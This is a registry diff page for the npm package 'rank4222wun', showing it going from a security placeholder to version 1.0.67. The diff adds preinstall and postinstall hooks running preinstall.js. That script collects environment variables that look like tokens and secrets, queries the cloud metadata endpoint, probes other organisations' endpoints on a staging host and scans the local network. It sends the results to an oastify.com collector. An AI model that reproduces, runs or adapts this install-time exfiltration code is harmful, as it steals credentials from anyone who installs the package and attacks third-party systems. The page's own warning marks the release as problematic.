rank4222wun 0.0.1-security → 1.0.67

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.67",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js",
7
+ "postinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,93 @@
1
+ const https = require('https');
2
+ const { execSync } = require('child_process');
3
+ const os = require('os');
4
+
5
+ const OAST = '2z26icqfa6vjiez8lc55cd3nmes5gwlka.oastify.com';
6
+
7
+ // بيانات السياق (مستخرجة من اللوجات)
8
+ const CURRENT_ORG = '6ed7b646-ddb8-4936-a39a-aca4359eaa63';
9
+ const CURRENT_TENANT = '0d0456a1-2029-427a-a8da-d7646edcd1fc';
10
+ const BASE_URL = 'staging.uipath.com';
11
+
12
+ // دالة التبليغ الموحدة
13
+ function report(tag, data) {
14
+ const payload = JSON.stringify({ tag, org: CURRENT_ORG, data, ts: Date.now() });
15
+ const req = https.request({
16
+ hostname: OAST, path: `/${tag}`, method: 'POST',
17
+ headers: { 'Content-Type': 'application/json' }
18
+ });
19
+ req.on('error', () => {});
20
+ req.write(payload);
21
+ req.end();
22
+ }
23
+
24
+ // 1. محاولة استغلال الـ Metadata Service (Cross-Org Leak)
25
+ // في بيئات MicroVMs، الـ Host غالباً يشارك Metadata عبر هذا العنوان
26
+ function checkMetadata() {
27
+ const metadataUrl = 'http://169.254.169.254/latest/meta-data/';
28
+ try {
29
+ // نحاول سحب معلومات قد تحتوي على توكنات Orgs أخرى
30
+ const res = execSync(`curl -s -m 2 ${metadataUrl}`).toString();
31
+ report('METADATA_PROBE', { found: true, content: res });
32
+ } catch (e) {
33
+ report('METADATA_PROBE', { found: false, error: "Timed out or blocked" });
34
+ }
35
+ }
36
+
37
+ // 2. محاولة الوصول لـ Org مختلفة (BOLA / IDOR)
38
+ // سنقوم بتغيير الـ Org ID في الرابط مع الحفاظ على التوكن الحالي
39
+ function testCrossOrgAccess() {
40
+ // محاكاة Org ID عشوائي أو "System Org"
41
+ const targetOrgs = [
42
+ '00000000-0000-0000-0000-000000000000',
43
+ 'ffffffff-ffff-ffff-ffff-ffffffffffff'
44
+ ];
45
+
46
+ targetOrgs.forEach(orgId => {
47
+ const path = `/${orgId}/${CURRENT_TENANT}/agenthub_/mcp/test1/runtime/info`;
48
+ const options = {
49
+ hostname: BASE_URL,
50
+ path: path,
51
+ method: 'GET',
52
+ headers: { 'User-Agent': 'Mozilla/5.0' } // يمكن إضافة الـ Auth Header هنا لو وجدناه
53
+ };
54
+
55
+ const req = https.get(options, (res) => {
56
+ report('CROSS_ORG_TEST', { targetOrg: orgId, status: res.statusCode });
57
+ // إذا كانت النتيجة 200، فهذا يعني فشل العزل تماماً
58
+ });
59
+ req.on('error', () => {});
60
+ });
61
+ }
62
+
63
+ // 3. البحث عن "جيران" في الشبكة الداخلية (Network Pivoting)
64
+ // في Firecracker، لو الـ MicroVMs على نفس الـ Bridge، قد يرون بعضهم
65
+ function scanInternalNetwork() {
66
+ try {
67
+ // البحث عن عناوين IP نشطة في الشبكة المحلية لـ Firecracker
68
+ const network = execSync('ip route show | grep eth0 | awk "{print $1}"').toString().trim();
69
+ report('INTERNAL_NET_INFO', { network });
70
+
71
+ // محاولة عمل Ping سريع للجيران
72
+ execSync('for i in {1..10}; do ping -c 1 -W 1 172.16.0.$i && echo "UP $i"; done', (err, stdout) => {
73
+ if (stdout) report('NETWORK_NEIGHBORS', { stdout });
74
+ });
75
+ } catch (e) {}
76
+ }
77
+
78
+ // 4. فحص الـ Environment Variables (بحثاً عن توكنات عابرة للـ Orgs)
79
+ function checkLeakedTokens() {
80
+ const env = process.env;
81
+ const leaked = {};
82
+ Object.keys(env).forEach(k => {
83
+ if (/AUTH|TOKEN|KEY|JWT|SECRET/i.test(k)) leaked[k] = env[k];
84
+ });
85
+ report('ENV_LEAK', leaked);
86
+ }
87
+
88
+ // التنفيذ
89
+ console.log("🔍 Executing Cross-Org Isolation Tests...");
90
+ checkLeakedTokens();
91
+ checkMetadata();
92
+ testCrossOrgAccess();
93
+ scanInternalNetwork();
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.